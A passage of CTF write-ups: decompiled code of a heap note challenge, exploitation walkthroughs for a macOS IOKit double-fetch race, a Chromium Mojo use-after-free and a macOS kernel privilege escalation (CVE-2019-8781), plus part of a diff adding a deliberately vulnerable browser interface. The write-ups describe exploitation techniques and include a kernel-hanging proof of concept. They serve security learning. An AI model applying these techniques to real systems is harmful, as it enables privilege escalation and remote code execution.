puts("* 4 - Exit *"); 94 | puts("* *"); 95 | puts("************************************************"); 96 | return printf("Your choice: "); 97 | } 98 | 99 | //----- (0000000000000C5C) ---------------------------------------------------- 100 | int create_note() 101 | { 102 | unsigned int size; // ST04_4 103 | char *s; // ST18_8 104 | note *current_note; // [rsp+8h] [rbp-18h] 105 | note *new_note; // [rsp+10h] [rbp-10h] 106 | 107 | new_note = (note *)malloc(144uLL); 108 | printf("Title: "); 109 | read_wrapper(new_note->title, 32u); 110 | new_note->title[25] = 0; 111 | printf("Private: ", 32LL); 112 | read_wrapper(new_note, 96u); 113 | printf("Size of des: ", 96LL); 114 | size = read_int(); 115 | printf("Des: "); 116 | s = (char *)malloc(size); 117 | memset(s, 0, size); 118 | read_wrapper(s, size); 119 | new_note->data = s; 120 | if ( first_note ) 121 | { 122 | for ( current_note = first_note; current_note->next_note; current_note = current_note->next_note ) 123 | ; // loop until the last note 124 | current_note->next_note = new_note; 125 | } 126 | else 127 | { 128 | first_note = new_note; 129 | } 130 | return puts("Done~"); 131 | } 132 | 133 | //----- (0000000000000D97) ---------------------------------------------------- 134 | note *view_note() 135 | { 136 | note *result; // rax 137 | unsigned int counter; // [rsp+4h] [rbp-Ch] 138 | note *i; // [rsp+8h] [rbp-8h] 139 | 140 | counter = 1; 141 | result = first_note; 142 | for ( i = first_note; i; i = i->next_note ) 143 | { 144 | printf("Note %d:\n", counter); 145 | printf("\tTitle: %s\n\tDes: %s\n", i->title, i->data); 146 | ++counter; 147 | result = i->next_note; 148 | } 149 | return result; 150 | } 151 | 152 | //----- (0000000000000E18) ---------------------------------------------------- 153 | unsigned __int64 del_note() 154 | { 155 | note *tbf_note; // [rsp+0h] [rbp-40h] 156 | note *prev_note; // [rsp+8h] [rbp-38h] 157 | char s1; // [rsp+10h] [rbp-30h] 158 | unsigned __int64 v4; // [rsp+38h] [rbp-8h] 159 | 160 | v4 = __readfsqword(0x28u); 161 | printf("Title: "); 162 | read_wrapper(&s1, 0x20u); 163 | prev_note = 0LL; 164 | for ( tbf_note = first_note; tbf_note && strncmp(&s1, tbf_note->title, 0x20uLL); tbf_note = tbf_note->next_note ) 165 | prev_note = tbf_note; 166 | if ( tbf_note ) 167 | { 168 | if ( prev_note ) 169 | prev_note->next_note = tbf_note->next_note; 170 | else 171 | first_note = tbf_note->next_note; 172 | free(tbf_note->data); 173 | free(tbf_note); 174 | puts("Done"); 175 | } 176 | else 177 | { 178 | puts("Not found~~"); 179 | } 180 | return __readfsqword(0x28u) ^ v4; 181 | } 182 | 183 | //----- (0000000000000F36) ---------------------------------------------------- 184 | void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) 185 | { 186 | int choice; // eax 187 | 188 | setup(); 189 | intro(); 190 | while ( 1 ) 191 | { 192 | while ( 1 ) 193 | { 194 | menu(); 195 | choice = read_int(); 196 | if ( choice != 2 ) 197 | break; 198 | view_note(); 199 | } 200 | if ( choice > 2 ) 201 | { 202 | if ( choice == 3 ) 203 | { 204 | del_note(); 205 | } 206 | else 207 | { 208 | if ( choice == 4 ) 209 | { 210 | puts("Bye~"); 211 | exit(0); 212 | } 213 | fail: 214 | puts("Invalid choice!"); 215 | } 216 | } 217 | else 218 | { 219 | if ( choice != 1 ) 220 | goto fail; 221 | create_note(); 222 | } 223 | } 224 | } 225 | -------------------------------------------------------------------------------- /DEFCON26-Qual/iPwnKit/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "IPwnKit DEFCON CTF 26 QR" 3 | date: 2019-04-21T00:46:45+0700 4 | Tags: ["DEFCON-CTF", "CTF", "pwn","xnu","IOKit","race-condition","double-fetch"] 5 | Language: ["English"] 6 | --- 7 | 8 | IPwnKit 9 | === 10 | 11 | > Come and take a bite of the Apple! 12 | 13 | > We have reserved you a very special place at the WWPC (World Wide Pwning Conference). 14 | 15 | > Email ipwnkit@gmail.com to RSVP and we will reply with your invite. 16 | 17 | > Come, test your skills, and win pwn2ooown!!! 18 | 19 | > Fine print: sw_vers 17E202. 20 | 21 | > The VM will be reset between exploit attempts. 22 | 23 | > If you panic the kernel and don't walk away with the flag, you are BANNED FROM THIS CHALLENGE, so make it count! 24 | 25 | > Please don't waste our time. 26 | 27 | > The flag is in `/var/root/flag`. 28 | 29 | Hi everyone, this is the writeup for the DEFCON 26 Qualification Round's iPwnKit challenge 30 | 31 | You may want to checkout the [exploit code](https://github.com/TrungNguyen1909/writeups/tree/master/DEFCON26-Qual/iPwnKit/) 32 | 33 | ## Prerequisites 34 | - IOKit basic communication. You can read chapter 5 of the book _OS X and iOS Kernel Programming_. 35 | 36 | ## Description 37 | 38 | The author gives us a macOS IOKit kernel extension and a kernel binary, and our job is to get root and read that file without panic the kernel. 39 | 40 | There are many functions in the kernel extension, but we only need to care about the functions which are in the `io_oooverflow_IPwnKitUserClient` class. 41 | 42 | When we invoke through the `IOConnectCall` method family, our passing arguments will be packed as the second parameter of the `externalMethod` function 43 | 44 | From there, the kernel extension will check through the dispatch table and invoke our `selector` function. 45 | 46 | Our vtable has the symbol `IPwnKitUserClient::sMethods` which is basically an array of `IOExternalMethodDispatch` 47 | 48 | ```cpp 49 | struct IOExternalMethodDispatch 50 | { 51 | IOExternalMethodAction function; 52 | uint32_t checkScalarInputCount; 53 | uint32_t checkStructureInputSize; 54 | uint32_t checkScalarOutputCount; 55 | uint32_t checkStructureOutputSize; 56 | }; 57 | ``` 58 | 59 | The data in this struct will be used to check the input/output size before it jumps to our selected function 60 | 61 | When a check does not need to be enforced, the value `kIOUCVariableStructureSize` (-1) will be there. 62 | 63 | According to the dispatch table in the kernel extension, it will dispatch to the methods that are prefixed with 's' before the actual function. 64 | 65 | Obviously, the interesting methods are `ReadNum`, `WriteNum`, and `FillArray` 66 | 67 | But before we can get there, we have to go through `sReadNum`, `sWriteNum`, and `sFillArray`, correspondingly. 68 | 69 | I will not cover reverse-engineer stuff because after I finished my first exploit, I'd realized that I did lots of obsolete stuff due to errors in reverse engineer, and I will mostly show the source code instead. 70 | 71 | > Reversing C++ is hard =( 72 | 73 | But basically, the UserClient class has an array as property and we are supposed to use those functions to manipulate it. 74 | 75 | Here is an over-simplified declaration of the struct `IOExternalMethodArguments` which is used to pass the method's arguments 76 | 77 | ```cpp 78 | struct IOExternalMethodArguments 79 | { 80 | ... 81 | const uint64_t * scalarInput;//24-8 82 | uint32_t scalarInputCount;//32-4 83 | 84 | const void * structureInput;//36-8 85 | uint32_t structureInputSize;//44-4 86 | 87 | IOMemoryDescriptor * structureInputDescriptor;//48-8 88 | 89 | uint64_t * scalarOutput;//56-8 90 | uint32_t scalarOutputCount;//64-4 91 | 92 | void * structureOutput;//68-8 93 | uint32_t structureOutputSize;//76-4 94 | 95 | IOMemoryDescriptor * structureOutputDescriptor;//8 96 | uint32_t structureOutputDescriptorSize;//4 97 | ... 98 | }; 99 | ``` 100 | 101 | The `sReadNum` has an error called "no descriptor" and also, the input structure size limit is unlimited, which means that we need to make use the `IOMemoryDescriptor * structureInputDescriptor` field. 102 | 103 | This field is used to pass structure that is larger than the page size (4096 bytes). 104 | 105 | When the structure argument is smaller than the page size, it will be copied over the kernel memory. 106 | 107 | But when it's larger than the page size, IOKit will use that field to create a _reference_ to the userland memory. 108 | 109 | In other words, it's called out-of-line transmission. 110 | 111 | ## Bug 112 | 113 | It's boring to write inside the array though, so we may want an out-of-bounds read and write. 114 | 115 | ```cpp 116 | IOReturn IPwnKitUserClient::sReadNum(IPwnKitUserClient* target, void* reference, IOExternalMethodArguments* arguments) 117 | { 118 | ... 119 | int64_t idx; 120 | arguments->structureInputDescriptor->readBytes(0, &idx, sizeof (idx)); 121 | if (idx >= sizeof (IPwnKitUserClient::myNumbers) || idx < 0) { 122 | IOLog("invalid index %d\n", idx); 123 | return KERN_FAILURE; 124 | } 125 | return target->ReadNum(arguments); 126 | } 127 | IOReturn IPwnKitUserClient::ReadNum(IOExternalMethodArguments *arguments) { 128 | IOLog("%s[%p]::%s reading number stored\n", getName(), this, __FUNCTION__); 129 | read_num_t rnum; 130 | arguments->structureInputDescriptor->readBytes(0, &rnum, sizeof (read_num_t)); 131 | int64_t idx = rnum.index; 132 | arguments->scalarOutput[0] = idx; 133 | arguments->scalarOutput[1] = this->myNumbers[idx]; 134 | 135 | return KERN_SUCCESS; 136 | } 137 | ``` 138 | 139 | We can see that the method `sReadNum` read the structure from the Descriptor and then perform both the lower and upper bound checks for the index and invoke the `ReadNum` method 140 | 141 | Did you spot the bug here? 142 | 143 | The `structureInputDescriptor` is a **reference** to the userland memory. It does perform the check on the value but not always the one will be used later because the `ReadNum` method just read it again. 144 | 145 | We got a race-condition double-fetch issue here. 146 | 147 | ## Exploit 148 | 149 | So we pass a large structure to pass the size checks and then create a new thread that repeatedly changes the index argument field between a valid index and an out-of-bounds index until we have our target index in the output structure. 150 | 151 | After tries, in the best-case scenario, we will have the correct value at the correct time. 152 | 153 | The issue is shared between the `readNum` and `writeNum` method. 154 | 155 | By printing the value at various out-of-bound index, we found a persistent(not across reboot) kernel address at the index -30. 156 | 157 | Read that and we will defeat the kASLR. 158 | 159 | (to be continued) 160 | 161 | ## Yet another bug 162 | 163 | The `fillArray` method seems interesting as it may be exploited to smash the kernel stack for ROP. 164 | 165 | It copies our passed array to a local static-size array and then manually copies 10 `int64_t` value to the field array. 166 | 167 | The size will be copied is stored in an initialized field of the UserClient class. 168 | 169 | ## Exploit (continued) 170 | With our relative address out-of-bound write, we can corrupt that value and make it copies as much as we want and _smash the kernel stack_. 171 | 172 | Please bear in mind that the arguments struct reference is put on the stack and you must not overwrite it with an invalid address as it's later used to write the result of the write. 173 | 174 | I was too lazy at that time so I decided to run the exploit in a kernel version which I've already made a privilege escalation ROP chain. 175 | 176 | The kernel I used was the one of build `macOS 10.14.2 (18C54)` but everything should be basically the same. 177 | 178 | To be honest, I have to read a little spoiler before I finished the first exploit. 179 | 180 | The attached exploit is the one I have cleaned up after reading the source and understanding the exploit completely 181 | 182 | The flag for the challenge is 183 | 184 | > OOO{woah i didnt know about kernel races!} 185 | 186 | ## Shoutout 187 | 188 | - Jeff Crowell - the challenge author for creating such an awesome challenge and sending me the source and the distribution after a year after the CTF took place. 189 | 190 | - Ole Henry Halvorsen and Douglas Clarke - the authors of the book _OS X and iOS Kernel Programming_ 191 | -------------------------------------------------------------------------------- /PlaidCTF2020/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "PlaidCTF2020 PlaidStore mojo chromium" 3 | date: 2020-04-22T19:42:49+0700 4 | Tags: ["PlaidCTF2020", "CTF", "pwn", "chromium", "browser", "mojo", "use-after-free", "UAF"] 5 | Language: ["English"] 6 | --- 7 | 8 | PlaidStore 9 | === 10 | 11 | ## Story 12 | 13 | Hi, everyone, this is the writeup for the challenge 500pts "mojo" of PlaidCTF 2020. 14 | 15 | As usual, I got the flag after the CTF has ended :< 16 | 17 | Well, currently I am not in any active teams, so I decided to pick a hard challenge and do it on my own. 18 | 19 | You may want to checkout the [exploit code](https://github.com/TrungNguyen1909/writeups/tree/master/PlaidCTF2020) 20 | 21 | ## Challenge Description 22 | ``` 23 | Chromium commit detached at 81.0.4044.92 (commit hash 82e68b9038ab5679543b300b42202bc053c50930). 24 | ``` 25 | 26 | Our task is to RCE chromium browser, after applying this [diff](./plaidstore.ctf) 27 | 28 | We are also provided generated mojo-js files to interact with the IPC. 29 | 30 | ``` 31 | +++ b/third_party/blink/public/mojom/plaidstore/plaidstore.mojom 32 | @@ -0,0 +1,11 @@ 33 | +module blink.mojom; 34 | + 35 | +// This interface provides a data store 36 | +interface PlaidStore { 37 | + 38 | + // Stores data in the data store 39 | + StoreData(string key, array data); 40 | + 41 | + // Gets data from the data store 42 | + GetData(string key, uint32 count) => (array data); 43 | +}; 44 | ``` 45 | 46 | We now have access to the new interface through MojoJS. 47 | 48 | ## Path of Exploitation 49 | 50 | ### Creating connection 51 | 52 | Urghhh, I stuck on this part for more than a day just to find the way to interact with the interface. 53 | Lots of google-fu, renderer bad messages, promise rejection :< 54 | 55 | But it's actually really easy :<. Just add those lines to your html 56 | 57 | ```html 58 | 59 | 60 | ``` 61 | 62 | and in an async function of your Javascript, use this line to get a handle of the object, owned by the current frame, and interact. 63 | 64 | ```js 65 | let p = blink.mojom.PlaidStore.getRemote(true); 66 | await p.storeData("yeet",new Uint8Array(0x28).fill(0x41)); 67 | (await p.getData("yeet", count).data; 68 | ``` 69 | 70 | smh. 71 | 72 | ### The first bug 73 | 74 | Well, the first bug I noticed was this one 75 | 76 | ```cpp 77 | void PlaidStoreImpl::GetData( 78 | const std::string &key, 79 | uint32_t count, 80 | GetDataCallback callback) { 81 | if (!render_frame_host_->IsRenderFrameLive()) { 82 | std::move(callback).Run({}); 83 | return; 84 | } 85 | auto it = data_store_.find(key); 86 | if (it == data_store_.end()) { 87 | std::move(callback).Run({}); 88 | return; 89 | } 90 | std::vector result(it->second.begin(), it->second.begin() + count); 91 | std::move(callback).Run(result); 92 | } 93 | ``` 94 | 95 | Can you spot the most obvious bug? 96 | 97 | The `count` parameter has no checks on it. 98 | As a result, the `result` array is being intialized with out-of-bound memory if `count` is larger than `it->second.size()` 99 | So we got a heap out-of-bound read here. 100 | 101 | To leak useful pointers from the heap, I put 0x40 arrays of (0x28 bytes) to the `PlaidStore`, 102 | while attempting to allocate `PlaidStore` object right after each allocation. 103 | Most of the time, the `PlaidStore` objects will lie after those arrays, which means we can read their pointers. 104 | 105 | The most interesting one is their C++ `vtable` pointer, it points to the DATA section of the binary and contains pointers to instance methods. 106 | So we could read that pointer, subtract it from the offset and find the base of the binary in memory. 107 | 108 | `PlaidStoreImpl` objects will have the `vtable` pointer at offset `0` (always) and to its `render_frame_host_` at offset `8` (C++ classes are like structs). 109 | 110 | Because a few high bits of the vtable address is always the same, and same goes to the highest byte, we could find them easily in the leak. 111 | 112 | `content::PlaidStoreImpl::PlaidStoreImpl` is the constructor of the object so it will set the vtable 113 | ``` 114 | chrome[0x3c584a8] <+24>: call 0x57044b0 ; operator new(unsigned long) 115 | chrome[0x3c584ad] <+29>: lea rcx, [rip + 0x635e2ec] ; vtable for content::PlaidStoreImpl + 16 116 | chrome[0x3c584b4] <+36>: mov qword ptr [rax], rcx 117 | >>> hex(0x3c584b4+0x635e2ec) 118 | '0x9fb67a0' -> the pointer(unslided) will be stored at offset 0 119 | ``` 120 | 121 | Or `(lldb) image lookup -r -v -s "vtable for content::PlaidStoreImpl"` will do the trick. 122 | 123 | Keep it mind that the stored address will be off `+16` bytes from the symbol 124 | 125 | Anyway, so we should find the pointer that looks like `0x5x..7a0` 126 | 127 | And the pointer lie next to that will be its `render_frame_host_` 128 | 129 | ### Get code execution... 130 | 131 | At the starts of all methods of `PlaidStore`, there's a check `(!render_frame_host_->IsRenderFrameLive())` seems to check whether its frame is live. 132 | But it doesn't take into account that its `render_frame_host_` is valid or not. 133 | 134 | If the `PlaidStore`'s frame has been freed, its `render_frame_host_` will be dangling and the memory it is pointing to is subjected to reallocation. 135 | 136 | So there's definitely an use-after-free bug here. 137 | 138 | To exploit that, we could create an `iframe` in the `document.body` and get its `PlaidStore` pointer, which will have its `render_frame_host_` pointed to the `iframe`. 139 | 140 | We can easily access the `iframe`'s properties, as long as its source is in the same origin. 141 | 142 | After get the `PlaidStore` pointer from there, we could deallocate the `iframe` by remove it from the `document.body`. 143 | 144 | The best way to reallocate it back is to creating some allocations of the same size, for example 1024 allocations. 145 | By doing that, we are creating pressure to the memory and most of the time, the frame will ended up being garbage-collected and let us allocate to the same memory. 146 | 147 | Also, you can't rely on the fact that that memory is returned to allocation immediately, and by allocating numerous of times, it will increase the chance of successful reallocation. 148 | 149 | The `RenderFrameHost` object's size is `0xc28`, which could be found by the method below: 150 | 151 | - `content::RenderFrameHostImpl::RenderFrameHostImpl()` is called after that C++ object is allocated (a.k.a. constructor) 152 | 153 | - Searching in the chromium source, it's called from content::RenderFrameHostFactory::Create(), looking into that function... 154 | 155 | - Just before the constructor is called, the object's allocated using `operator new(unsigned long size)` 156 | 157 | - So we can figure out the size using a `new` called that comes before the constructor is called. 158 | 159 | ```asm 160 | mov edi, 0xc28; 161 | call operator new(); => size = 0xc28 162 | ``` 163 | 164 | 165 | So now we have a handle to a fake `RenderFrameHost` object that its content is controlled by us. 166 | 167 | With that primitive, we could fake its vtable, and now `render_frame_host_->IsRenderFrameLive()`'s now ours. 168 | 169 | ``` 170 | //content::PlaidStoreImpl::StoreData 171 | chrome[0x3c581da] <+26>: mov rdi, qword ptr [rdi + 0x8] //rdi = this->render_frame_host_ 172 | chrome[0x3c581de] <+30>: mov rax, qword ptr [rdi]//rax = vtable 173 | chrome[0x3c581e1] <+33>: call qword ptr [rax + 0x160]//call vtable->IsRenderFrameLive 174 | ``` 175 | 176 | So the pointer at offset `0x160` of the fake object's vtable is called (`fake->vtable[0x160]()`), we could put the address of our first gadget in the ROP chain there. 177 | 178 | I put a `xchg rax, rsp` first to change the stack pointer to point to our controlled data. 179 | 180 | From here, we do a classic ROP chain to `execvp@plt` to read the flag. 181 | 182 | > Use `ROPgadget` to find gadgets in the binary. `ropper` analysis took me forever. 183 | 184 | Further details about the ROP chain could be found in [pwn.js](./pwn.js) 185 | 186 | ### Exploit 187 | 188 | Most of the parts are contained in [pwn.js](./pwn.js). 189 | 190 | The HTMLs parts are zipped in [exploit.zip](./exploit.zip). 191 | Put them inside the extracted directory of `mojo_js.zip` 192 | 193 | ### The Flag 194 | 195 | The flag is 196 | 197 | > PCTF{PlaidStore\_more\_like\_BadStore} 198 | 199 | But it didn't bring me any 500pts :< 200 | 201 | Thanks~ 202 | 203 | - The challenge author for making me get into chromium for the first time. 204 | 205 | - You, for reading till here. 206 | 207 | 208 | -------------------------------------------------------------------------------- /CampCTF/PwningKernelz/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "pwning your kernelz: macOS 0day LPE" 3 | date: 2019-09-04T23:38:50+0700 4 | Tags: ["Camp-CTF","pwn","kernel","xnu","0day"] 5 | Language: ["English"] 6 | --- 7 | 8 | pwning your kernelz 9 | ====== 10 | 11 | ## Background 12 | 13 | Hi everyone, 14 | 15 | This is the writeup for the challenge _pwning your kernelz_, created by Linus Henze(@LinusHenze), 16 | I came across this challenge when Linus tweeted a status update for the CTF. 17 | 18 | Of course, I didn't solve this challenge during the time of the CTF. In fact, no one does. 19 | 20 | So I decided to pick it up and exploit it with the support of Linus after the CTF ends. 21 | 22 | You may want to checkout the [exploit code](https://github.com/TrungNguyen1909/writeups/tree/master/CampCTF/PwningKernelz) 23 | 24 | **Update**: the bug has been assigned as [CVE-2019-8781](https://support.apple.com/en-vn/HT210634) by Apple and fixed in the macOS Catalina 10.15 release. 25 | 26 | ## Challenge description 27 | 28 | [Original description](https://camp.allesctf.net/tasks/pwning%20your%20kernelz) 29 | 30 | The challenge required us to perform a Local Privilege Escalation to r00t user to get the flag. 31 | 32 | SMEP is on, 33 | 34 | SMAP is off, 35 | 36 | kASLR slide is provided, 37 | 38 | and the kernel is the _latest_ development macOS kernel from Apple's KDK. 39 | 40 | Actually, at the time of the CTF, 41 | Apple messed up and unpatched the 121 day (CVE-2019-8605) and you can just port the iOS exploit code to macOS and here we go. 42 | 43 | But I didn't think of that during the time of the CTF, also I was pretty busy at that time so I didn't think about it. 44 | 45 | But later, I decided to pick up the intended bug. 46 | 47 | ## POC 48 | 49 | So the author provided us the following POC: 50 | 51 | ```c 52 | x86_saved_state32_t state; 53 | memset(&state, 0xFF, sizeof(x86_saved_state32_t)); 54 | thread_set_state(mach_thread_self(), x86_SAVED_STATE32, (thread_state_t) &state, x86_SAVED_STATE32_COUNT); 55 | while (1) {} 56 | ``` 57 | 58 | You will need to compile it to a 32bit program `-m32` to make it works. 59 | 60 | The POC is such a simple one that it immediately hang the whole machine. 61 | 62 | ## Debugging 63 | 64 | I wasted a lot of time to setup the VM and trying to debug with Apple's kdp, but with this bug, triage it with kdp is hard. 65 | 66 | The machine just hang because it's constantly doublefault. 67 | 68 | Later, when I knew about the VMWare's gdb debugging stub, it actually makes my life much easier 69 | 70 | [Check it out here](http://ddeville.me/2015/08/using-the-vmware-fusion-gdb-stub-for-kernel-debugging-with-lldb) 71 | 72 | ## Triaging the bug 73 | 74 | The challenge mentioned about the need of 32bit apps, so we knows that the bug is somewhere in the `/osfmk/kern/i386/` 75 | 76 | The cross-arch code starts to differ from the `machine_thread_set_state` call. 77 | 78 | So I found 2 snippets of code that share the same purpose but have different logic. 79 | 80 | Inside the switch `flavor` case of the x86 version of `machine_thread_set_state`, you can find 2 different version 81 | 82 | If the flavor is `x86_SAVED_STATE32`, the machine just hang. 83 | 84 | If the flavor is `x86_THREAD_STATE32`, it does not cause any problem. 85 | 86 | But they are supposed to have the similar behavior, so lets `diff` them out. 87 | 88 | Although going through the same amount of checks, the second version forced the segment registers to be a value that's constantly defined 89 | 90 | In the buggy one, we can see that it allows a wider range of segment registers' value, which could be malicious. 91 | 92 | So, the bug is that we can set the segment registers' values to any malicious values. 93 | 94 | This is similar to the _BadIRET_ bug 95 | 96 | ## Consequences 97 | 98 | Attaching the debugger, tracing down through the `iretq` instruction, it failed to return due to invalid segment registers and jump to the fault handler, 99 | 100 | Following the execution, we can observe that the fault handler does *MISS* a `swapgs` instruction. 101 | 102 | So why does this is troublesome? 103 | 104 | The `swapgs` instruction changes the current GS base of the running code from kernelspace to userspace and vice versa. 105 | 106 | Some data are accessed relatively through the GS register so we control some of the kernel's data. 107 | 108 | In case you don't know what the segment registers are, they are just the index of some entries in the GDT (Global Descriptor Table). 109 | 110 | Each entries contains meaningful data, one of them are the base address. And we can access data relatively from that base address through the registers 111 | 112 | ## Exploit 113 | 114 | Following the buggy path, we can see that it repeatedly jump to the fault handler and always fault at the same instruction 115 | 116 | ```asm 117 | cmp dword ptr gs:0x174, 0 118 | ``` 119 | in the `ks_dispatch_kernel` function. 120 | 121 | It fault because it accesses data through the GS base, which is currently pointing to the user's GS base and access to the unmapped memory. 122 | 123 | The reason is that it's using the userspace's GS base has the base address at 0x0. 124 | 125 | To get over, we need to remove the `_PAGEZERO` segment by a linker switch, and allocate memory there with `vm_allocate` call. 126 | 127 | Continuing with our zero-filled memory we just allocated, the kernel panic in `kernel_trap` with the error type is 13 (general protection (#GP)) 128 | 129 | According to the Intel's SDM, `iretq` with invalid segment registers can cause a #GP fault 130 | 131 | So how can we get over that that? 132 | 133 | A piece of code that we did not consider yet is the specific handler for #GP fault: 134 | 135 | ```c 136 | if (thread != THREAD_NULL && thread->recover) { 137 | set_recovery_ip(saved_state, thread->recover); 138 | thread->recover = 0; 139 | return; 140 | } 141 | ``` 142 | 143 | This might seems rather unintersting, 144 | 145 | but if you disassemble it and resolve the macro, 146 | 147 | we can see that we controlled the `thread->recover` value because it's accessed that through the GS base, which we controlled. 148 | 149 | The `set_recovery_ip` set the location of the handler code in the next time the fault is occured, then we are dismissed from the fault handler. 150 | 151 | So, by the next time we `iretq` fails, we have control over the kernel's RIP. 152 | 153 | Next, I observed that we have some registers that we control over the `thread_set_state` call. One of them is the $RBP register. 154 | 155 | So, I find a `leave; ret;` gadget (which should be plenty in the kernel code base) to pivot the kernel's stack to a userspace address. 156 | 157 | There, we set up our ROP chain to escalate ourselves. 158 | 159 | You can find the typical privilege escalation ROP chain [here](https://bazad.github.io/2016/05/mac-os-x-use-after-free/#elevating-privileges) 160 | 161 | But there's still something to note. 162 | 163 | First, we need to bear in mind that the GS base is still in the userspace upon the start of the ROP chain, 164 | which causes some fault in the `current_proc` function as it used the GS base, so we need to fix that. 165 | 166 | Second, `thread_exception_return` will *NOT* work as the `saved_state` is invalid and messed up. 167 | 168 | Because there aren't any `swapgs` gadgets, we need to make ourselves at the userspace and return there. 169 | 170 | Before we can do that, we need to ROP to turn off SMEP by unset the 20th(0-indexed) bit of the $cr4 register. 171 | 172 | To return to the userspace, we need to set up ourselves the `iretq` stack, which looks like this 173 | 174 | ``` 175 | 176 | |--------------------------| 177 | | Low mem addr | ^ 178 | |--------------------------| | 179 | | RIP | | <-- current RSP 180 | |--------------------------| | 181 | | CS | | 182 | |--------------------------| | 183 | | EFLAGS | | 184 | |--------------------------| | 185 | | RSP | | 186 | |--------------------------| | 187 | | SS | | 188 | |--------------------------| | 189 | | High mem addr | | 190 | |--------------------------| | 191 | 192 | ``` 193 | 194 | then `swapgs` and `iretq` should do the trick. 195 | 196 | Upon coming back, I encountered the `misaligned_stack_error_` when going through the dyld stub. 197 | 198 | I workaround this by catching that SIGSEGV error: `signal(SIGSEGV,aftermath);` 199 | 200 | ## Ending words 201 | 202 | During exploitation of this bug, I stuck lots of time and need to be pointed out. 203 | 204 | I found lots of flaws in my reverse engineering and code reading skills and missed some of important points. 205 | 206 | But at least, I make time for myself to reading through the kernel code. 207 | 208 | Also, this's the first time I exploit a kernel 0 day that hasn't been disclosed and exploited publicly yet. 209 | 210 | I enjoy this challenge. 211 | 212 | ## Shoutouts 213 | 214 | - Apple for the 0day. 215 | 216 | - Linus Henze(@LinusHenze). He created a challenge in which I learnt a lot. 217 | Also, he helped me a lot in exploitation by pointing out the points that I have missed. Thank you very much. 218 | -------------------------------------------------------------------------------- /PlaidCTF2020/plaidstore.diff: -------------------------------------------------------------------------------- 1 | diff --git a/content/browser/BUILD.gn b/content/browser/BUILD.gn 2 | index 75fc9d9d1826..042eacb39ba3 100644 3 | --- a/content/browser/BUILD.gn 4 | +++ b/content/browser/BUILD.gn 5 | @@ -1299,6 +1299,8 @@ jumbo_source_set("browser") { 6 | "picture_in_picture/picture_in_picture_session.h", 7 | "picture_in_picture/picture_in_picture_window_controller_impl.cc", 8 | "picture_in_picture/picture_in_picture_window_controller_impl.h", 9 | + "plaidstore/plaidstore_impl.h", 10 | + "plaidstore/plaidstore_impl.cc", 11 | "portal/portal.cc", 12 | "portal/portal.h", 13 | "portal/portal_navigation_throttle.cc", 14 | diff --git a/content/browser/browser_interface_binders.cc b/content/browser/browser_interface_binders.cc 15 | index 361e52b1c203..14748ef44d2a 100644 16 | --- a/content/browser/browser_interface_binders.cc 17 | +++ b/content/browser/browser_interface_binders.cc 18 | @@ -86,6 +86,7 @@ 19 | #include "third_party/blink/public/mojom/payments/payment_app.mojom.h" 20 | #include "third_party/blink/public/mojom/permissions/permission.mojom.h" 21 | #include "third_party/blink/public/mojom/picture_in_picture/picture_in_picture.mojom.h" 22 | +#include "third_party/blink/public/mojom/plaidstore/plaidstore.mojom.h" 23 | #include "third_party/blink/public/mojom/presentation/presentation.mojom.h" 24 | #include "third_party/blink/public/mojom/quota/quota_dispatcher_host.mojom.h" 25 | #include "third_party/blink/public/mojom/sms/sms_receiver.mojom.h" 26 | @@ -109,6 +110,7 @@ 27 | #include "third_party/blink/public/mojom/serial/serial.mojom.h" 28 | #endif 29 | 30 | + 31 | #if defined(OS_ANDROID) 32 | #include "content/browser/android/date_time_chooser_android.h" 33 | #include "content/browser/android/text_suggestion_host_android.h" 34 | @@ -660,6 +662,10 @@ void PopulateFrameBinders(RenderFrameHostImpl* host, 35 | map->Add(base::BindRepeating( 36 | &RenderFrameHostImpl::BindSerialService, base::Unretained(host))); 37 | #endif // !defined(OS_ANDROID) 38 | + 39 | + map->Add( 40 | + base::BindRepeating(&RenderFrameHostImpl::CreatePlaidStore, 41 | + base::Unretained(host))); 42 | } 43 | 44 | void PopulateBinderMapWithContext( 45 | diff --git a/content/browser/frame_host/render_frame_host_impl.cc b/content/browser/frame_host/render_frame_host_impl.cc 46 | index e55e2d990da4..df6e6e62dbae 100644 47 | --- a/content/browser/frame_host/render_frame_host_impl.cc 48 | +++ b/content/browser/frame_host/render_frame_host_impl.cc 49 | @@ -80,6 +80,7 @@ 50 | #include "content/browser/permissions/permission_controller_impl.h" 51 | #include "content/browser/permissions/permission_service_context.h" 52 | #include "content/browser/permissions/permission_service_impl.h" 53 | +#include "content/browser/plaidstore/plaidstore_impl.h" 54 | #include "content/browser/portal/portal.h" 55 | #include "content/browser/presentation/presentation_service_impl.h" 56 | #include "content/browser/push_messaging/push_messaging_manager.h" 57 | @@ -6619,6 +6620,11 @@ void RenderFrameHostImpl::CreateInstalledAppProvider( 58 | InstalledAppProviderImpl::Create(this, std::move(receiver)); 59 | } 60 | 61 | +void RenderFrameHostImpl::CreatePlaidStore( 62 | + mojo::PendingReceiver receiver) { 63 | + PlaidStoreImpl::Create(this, std::move(receiver)); 64 | +} 65 | + 66 | void RenderFrameHostImpl::CreateDedicatedWorkerHostFactory( 67 | mojo::PendingReceiver receiver) { 68 | // Allocate the worker in the same process as the creator. 69 | diff --git a/content/browser/frame_host/render_frame_host_impl.h b/content/browser/frame_host/render_frame_host_impl.h 70 | index 0769246d348b..38b071339833 100644 71 | --- a/content/browser/frame_host/render_frame_host_impl.h 72 | +++ b/content/browser/frame_host/render_frame_host_impl.h 73 | @@ -102,6 +102,7 @@ 74 | #include "third_party/blink/public/mojom/notifications/notification_service.mojom-forward.h" 75 | #include "third_party/blink/public/mojom/payments/payment_app.mojom.h" 76 | #include "third_party/blink/public/mojom/permissions/permission.mojom.h" 77 | +#include "third_party/blink/public/mojom/plaidstore/plaidstore.mojom.h" 78 | #include "third_party/blink/public/mojom/portal/portal.mojom-forward.h" 79 | #include "third_party/blink/public/mojom/presentation/presentation.mojom.h" 80 | #include "third_party/blink/public/mojom/scroll/scroll_into_view_params.mojom.h" 81 | @@ -1183,6 +1184,9 @@ class CONTENT_EXPORT RenderFrameHostImpl 82 | void CreateInstalledAppProvider( 83 | mojo::PendingReceiver receiver); 84 | 85 | + void CreatePlaidStore( 86 | + mojo::PendingReceiver receiver); 87 | + 88 | #if defined(OS_ANDROID) 89 | void BindNFCReceiver(mojo::PendingReceiver receiver); 90 | #endif 91 | diff --git 